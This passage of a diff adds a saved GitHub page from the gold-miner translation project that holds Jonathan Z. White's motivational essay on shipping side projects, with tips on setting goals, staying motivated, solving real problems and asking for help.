+      <svg aria-hidden="true" class="octicon octicon-project" height="16" version="1.1" viewBox="0 0 15 16" width="15"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
+      Projects
+      <span class="counter">0</span>
+</a>
+    <a href="/xitu/gold-miner/wiki" class="js-selected-navigation-item reponav-item" data-hotkey="g w" data-selected-links="repo_wiki /xitu/gold-miner/wiki">
+      <svg aria-hidden="true" class="octicon octicon-book" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg>
+      Wiki
+</a>
+
+  <a href="/xitu/gold-miner/pulse" class="js-selected-navigation-item reponav-item" data-selected-links="pulse /xitu/gold-miner/pulse">
+    <svg aria-hidden="true" class="octicon octicon-pulse" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38 8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z"/></svg>
+    Pulse
+</a>
+  <a href="/xitu/gold-miner/graphs" class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors /xitu/gold-miner/graphs">
+    <svg aria-hidden="true" class="octicon octicon-graph" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
+    Graphs
+</a>
+
+</nav>
+
+    </div>
+  </div>
+
+<div class="container new-discussion-timeline experiment-repo-nav">
+  <div class="repository-content">
+
+    
+          
+
+<a href="/xitu/gold-miner/blob/c7230b4ac0ba734d2c4062851c97149fcf7a2270/TODO/nothing-will-change-until-you-start-building.md" class="d-none js-permalink-shortcut" data-hotkey="y">Permalink</a>
+
+<!-- blob contrib key: blob_contributors:v21:c4c0c50c5d6e234eb6b94bc9f01381ab -->
+
+<div class="file-navigation js-zeroclipboard-container">
+  
+<div class="select-menu branch-select-menu js-menu-container js-select-menu float-left">
+  <button class=" btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w"
+    
+    type="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true">
+      <i>Branch:</i>
+      <span class="js-select-button css-truncate-target">master</span>
+  </button>
+
+  <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax>
+
+    <div class="select-menu-modal">
+      <div class="select-menu-header">
+        <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+        <span class="select-menu-title">Switch branches/tags</span>
+      </div>
+
+      <div class="select-menu-filters">
+        <div class="select-menu-text-filter">
+          <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="form-control js-filterable-field js-navigation-enable" placeholder="Filter branches/tags">
+        </div>
+        <div class="select-menu-tabs">
+          <ul>
+            <li class="select-menu-tab">
+              <a href="#" data-tab-filter="branches" data-filter-placeholder="Filter branches/tags" class="js-select-menu-tab" role="tab">Branches</a>
+            </li>
+            <li class="select-menu-tab">
+              <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab" role="tab">Tags</a>
+            </li>
+          </ul>
+        </div>
+      </div>
+
+      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches" role="menu">
+
+        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
+
+
+            <a class="select-menu-item js-navigation-item js-navigation-open selected"
+               href="/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md"
+               data-name="master"
+               data-skip-pjax="true"
+               rel="nofollow">
+              <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+              <span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
+                master
+              </span>
+            </a>
+        </div>
+
+          <div class="select-menu-no-results">Nothing to show</div>
+      </div>
+
+      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags">
+        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
+
+
+        </div>
+
+        <div class="select-menu-no-results">Nothing to show</div>
+      </div>
+
+    </div>
+  </div>
+</div>
+
+  <div class="BtnGroup float-right">
+    <a href="/xitu/gold-miner/find/master"
+          class="js-pjax-capture-input btn btn-sm BtnGroup-item"
+          data-pjax
+          data-hotkey="t">
+      Find file
+    </a>
+    <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm BtnGroup-item tooltipped tooltipped-s" data-copied-hint="Copied!" type="button">Copy path</button>
+  </div>
+  <div class="breadcrumb js-zeroclipboard-target">
+    <span class="repo-root js-repo-root"><span class="js-path-segment"><a href="/xitu/gold-miner"><span>gold-miner</span></a></span></span><span class="separator">/</span><span class="js-path-segment"><a href="/xitu/gold-miner/tree/master/TODO"><span>TODO</span></a></span><span class="separator">/</span><strong class="final-path">nothing-will-change-until-you-start-building.md</strong>
+  </div>
+</div>
+
+
+
+  <div class="commit-tease">
+      <span class="float-right">
+        <a class="commit-tease-sha" href="/xitu/gold-miner/commit/e1c20be99f149fe407434f3b26ff388cbf3dc9fa" data-pjax>
+          e1c20be
+        </a>
+        <relative-time datetime="2017-03-31T03:11:10Z">Mar 30, 2017</relative-time>
+      </span>
+      <div>
+        <img alt="@sqrthree" class="avatar" height="20" src="https://avatars2.githubusercontent.com/u/8622362?v=3&amp;s=40" width="20" />
+        <a href="/sqrthree" class="user-mention" rel="contributor">sqrthree</a>
+          <a href="/xitu/gold-miner/commit/e1c20be99f149fe407434f3b26ff388cbf3dc9fa" class="message" data-pjax="true" title="fix typos">fix typos</a>
+      </div>
+
+    <div class="commit-tease-contributors">
+      <button type="button" class="btn-link muted-link contributors-toggle" data-facebox="#blob_contributors_box">
+        <strong>1</strong>
+         contributor
+      </button>
+      
+    </div>
+
+    <div id="blob_contributors_box" style="display:none">
+      <h2 class="facebox-header" data-facebox-id="facebox-header">Users who have contributed to this file</h2>
+      <ul class="facebox-user-list" data-facebox-id="facebox-description">
+          <li class="facebox-user-list-item">
+            <img alt="@sqrthree" height="24" src="https://avatars0.githubusercontent.com/u/8622362?v=3&amp;s=48" width="24" />
+            <a href="/sqrthree">sqrthree</a>
+          </li>
+      </ul>
+    </div>
+  </div>
+
+<div class="file">
+  <div class="file-header">
+  <div class="file-actions">
+
+    <div class="BtnGroup">
+      <a href="/xitu/gold-miner/raw/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" id="raw-url">Raw</a>
+        <a href="/xitu/gold-miner/blame/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm js-update-url-with-hash BtnGroup-item" data-hotkey="b">Blame</a>
+      <a href="/xitu/gold-miner/commits/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" rel="nofollow">History</a>
+    </div>
+
+        <a class="btn-octicon tooltipped tooltipped-nw"
+           href="https://mac.github.com"
+           aria-label="Open this file in GitHub Desktop"
+           data-ga-click="Repository, open with desktop, type:mac">
+            <svg aria-hidden="true" class="octicon octicon-device-desktop" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"/></svg>
+        </a>
+
+        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/edit/master/TODO/nothing-will-change-until-you-start-building.md" class="inline-form js-update-url-with-hash" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="5XYfK4zhbDKdWmsworakoK6uJxK5PXVEzh/XAj06fgXScKQN2D18F0Ligg35nzh0zD9LWCX1rt+B1MDaSdwtJA==" /></div>
+          <button class="btn-octicon tooltipped tooltipped-nw" type="submit"
+            aria-label="Edit the file in your fork of this project" data-hotkey="e" data-disable-with>
+            <svg aria-hidden="true" class="octicon octicon-pencil" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"/></svg>
+          </button>
+</form>        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/delete/master/TODO/nothing-will-change-until-you-start-building.md" class="inline-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="2nWumd+74wD3msFyFV4nr1+pbxK1P6DcAT0vzBtlQFfNPqEcNXt9klQmV9C/QuZTbnYdgsAlGoFBNBRAZuwFyw==" /></div>
+          <button class="btn-octicon btn-octicon-danger tooltipped tooltipped-nw" type="submit"
+            aria-label="Delete the file in your fork of this project" data-disable-with>
+            <svg aria-hidden="true" class="octicon octicon-trashcan" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
+          </button>
+</form>  </div>
+
+  <div class="file-info">
+      91 lines (47 sloc)
+      <span class="file-info-divider"></span>
+    7.52 KB
+  </div>
+</div>
+
+  
+  <div id="readme" class="readme blob instapaper_body">
+    <article class="markdown-body entry-content" itemprop="text"><blockquote>
+<ul>
+<li>原文地址：<a href="https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc">Nothing will change until you start building.</a></li>
+<li>原文作者：<a href="https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup">Jonathan Z. White</a></li>
+<li>译文出自：<a href="https://github.com/xitu/gold-miner">掘金翻译计划</a></li>
+<li>译者：</li>
+<li>校对者：</li>
+</ul>
+</blockquote>
+<hr>
+<p><a href="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" target="_blank"><img src="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png" style="max-width:100%;"></a></p>
+<h1><a id="user-content-nothing-will-change-until-you-start-building" class="anchor" href="#nothing-will-change-until-you-start-building" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nothing will change until you start building.</h1>
+<p>This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.</p>
+<p>This is what I told her. <strong>Start by building. Pick one project and do whatever you have to do to ship it.</strong> If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.</p>
+<p>This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.</p>
+<p>The steps you take today will compound over time. Look at great product makers like <a href="https://twitter.com/drewwilson">Drew Wilson</a>, <a href="https://twitter.com/levelsio?">Pieter Levels</a>, and <a href="https://twitter.com/Sebyddd">Sebastian Dobrincu</a>. <strong>They don’t wait for the right opportunity.</strong> They build and ship weekly.</p>
+<p>In an interview on <a href="https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics">IndieHackers</a>, <a href="https://twitter.com/Shpigford">Josh Pigford</a> disclosed that before he built Baremetrics, he had iterated through a <em>hundred</em> failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.</p>
+<p><a href="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" target="_blank"><img src="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png" style="max-width:100%;"></a></p>
+<p>With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.</p>
+<hr>
+<h3><a id="user-content-1-define-your-goal" class="anchor" href="#1-define-your-goal" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>1. Define your goal</h3>
+<p>Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.</p>
+<p><strong>Define your goal early so you don’t get distracted and end up not achieving what you set out to do.</strong> Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.</p>
+<h3><a id="user-content-2-stay-on-track" class="anchor" href="#2-stay-on-track" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>2. Stay on track</h3>
+<p>Sometimes product makers fail to ship because they lose motivation. <strong>Set small goals; meeting those goals will help you build momentum.</strong> Small wins will compound.</p>
+<p><a href="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" target="_blank"><img src="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png" style="max-width:100%;"></a></p>
+<p>Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.</p>
+<p>One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.</p>
+<h3><a id="user-content-3-solve-a-problem" class="anchor" href="#3-solve-a-problem" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>3. Solve a problem</h3>
+<p>Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.</p>
+<p>For example, I built <a href="http://jonathanzwhite.github.io/yc-careers/">YC Careers</a> and <a href="https://atomspace.co/">AtomSpace</a> to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of <a href="https://www.producthunt.com/posts/yc-careers">ProductHunt</a> and AtomSpace booked $100 dollars from strangers within 6 hours of going live.</p>
+<p><strong>The bigger the pain point you’re trying to solve, the easier it will be to find users.</strong></p>
+<p>Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.</p>
+<p>For further reading, <a href="https://amasad.me/carmack">John Carmack on Idea Generation</a> and <a href="http://paulgraham.com/startupideas.html">How to Get Startup Ideas</a> are two great essays to get you started.</p>
+<h3><a id="user-content-4-ditch-the-good-idea--bad-idea-mindset" class="anchor" href="#4-ditch-the-good-idea--bad-idea-mindset" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>4. Ditch the “good idea / bad idea” mindset</h3>
+<p>Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.</p>
+<p><strong>Plenty of seemingly bad ideas have turned out to be great businesses.</strong> For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay <a href="https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz">7 Rejections</a>.</p>
+<p><a href="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" target="_blank"><img src="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png" style="max-width:100%;"></a></p>
+<p>The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.</p>
+<h3><a id="user-content-5-ask-for-help" class="anchor" href="#5-ask-for-help" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>5. Ask for help</h3>
+<p>When working on a project, reach out to people and ask for their help. <strong>You will be surprised at how many people are willing to pay it forward and help a complete stranger.</strong></p>
+<p>Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.</p>
+<p>Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.</p>
+<hr>
+<p>Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.</p>
+<p>So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.</p>
+<p>What are you working on right now? How can I help you? Leave me a note here or <a href="https://twitter.com/jonathanzwhite">tweet</a> them to me on Twitter.</p>
+<p>You can find me on Medium where I publish every week. Or you can follow me on <a href="https://twitter.com/JonathanZWhite">Twitter</a>, where I post non-sensical ramblings about design, front-end development, and virtual reality.</p>
+<p><em>P.S. If you enjoyed this article, it would mean a lot if you click the <g-emoji alias="green_heart" fallback-src="https://assets-cdn.github.com/images/icons/emoji/unicode/1f49a.png" ios-version="6.0">💚</g-emoji> and share with friends.</em></p>
+<hr>
+<blockquote>
+<p><a href="https://github.com/xitu/gold-miner">掘金翻译计划</a> 是一个翻译优质互联网技术文章的社区，文章来源为 <a href="https://juejin.im">掘金</a> 上的英文分享文章。内容覆盖 <a href="https://github.com/xitu/gold-miner#android">Android</a>、<a href="https://github.com/xitu/gold-miner#ios">iOS</a>、<a href="https://github.com/xitu/gold-miner#react">React</a>、<a href="https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF">前端</a>、<a href="https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF">后端</a>、<a href="https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81">产品</a>、<a href="https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1">设计</a> 等领域，想要查看更多优质译文请持续关注 <a href="https://github.com/xitu/gold-miner">掘金翻译计划</a>。</p>
+</blockquote>
+</article>
+  </div>
+
+</div>
+
+<button type="button" data-facebox="#jump-to-line" data-facebox-class="linejump" data-hotkey="l" class="d-none">Jump to Line</button>
+<div id="jump-to-line" style="display:none">
+  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+    <input class="form-control linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" aria-label="Jump to line" autofocus>
+    <button type="submit" class="btn">Go</button>
+</form></div>
+
+
+  </div>
+  <div class="modal-backdrop js-touch-events"></div>
+</div>
+
+    </div>
+  </div>
+
+  </div>
+
+      <div class="container site-footer-container">
+  <div class="site-footer" role="contentinfo">
+    <ul class="site-footer-links float-right">
+        <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact GitHub</a></li>
+      <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li>
+      <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li>
+      <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li>
+        <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li>
+        <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li>
+
+    </ul>
+
+    <a href="https://github.com" aria-label="Homepage" class="site-footer-mark" title="GitHub">
+      <svg aria-hidden="true" class="octicon octicon-mark-github" height="24" version="1.1" viewBox="0 0 16 16" width="24"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
+</a>
+    <ul class="site-footer-links">
+      <li>&copy; 2017 <span title="0.08952s from github-fe137-cp1-prd.iad.github.net">GitHub</span>, Inc.</li>
+        <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li>
+        <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li>
+        <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li>
+        <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li>
+        <li><a href="https://help.github.com" data-ga-click="Footer, go to help, text:help">Help</a></li>
+    </ul>
+  </div>
+</div>
+
+
+
+  
+
+  <div id="ajax-error-message" class="ajax-error-message flash flash-error">
+    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
+    <button type="button" class="flash-close js-flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
+      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+    </button>
+    You can't perform that action at this time.
+  </div>
+
+
+    <script crossorigin="anonymous" integrity="sha256-ikMY/+oJoM24IUt2zykmufagztMYoxe+1BnbGSFMaQ0=" src="https://assets-cdn.github.com/assets/compat-8a4318ffea09a0cdb8214b76cf2926b9f6a0ced318a317bed419db19214c690d.js"></script>
+    <script crossorigin="anonymous" integrity="sha256-bRCeda2EcbpBUIJybADDX7kpzquXUIJJKDXxHsqMB9k=" src="https://assets-cdn.github.com/assets/frameworks-6d109e75ad8471ba415082726c00c35fb929ceab975082492835f11eca8c07d9.js"></script>
+    <script async="async" crossorigin="anonymous" integrity="sha256-wC5XS/AFJkeL8nkWRggFsWsLsKi9cy0rFOeeMdWkUig=" src="https://assets-cdn.github.com/assets/github-c02e574bf00526478bf27916460805b16b0bb0a8bd732d2b14e79e31d5a45228.js"></script>
+    
+    
+    
+    
+  <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none">
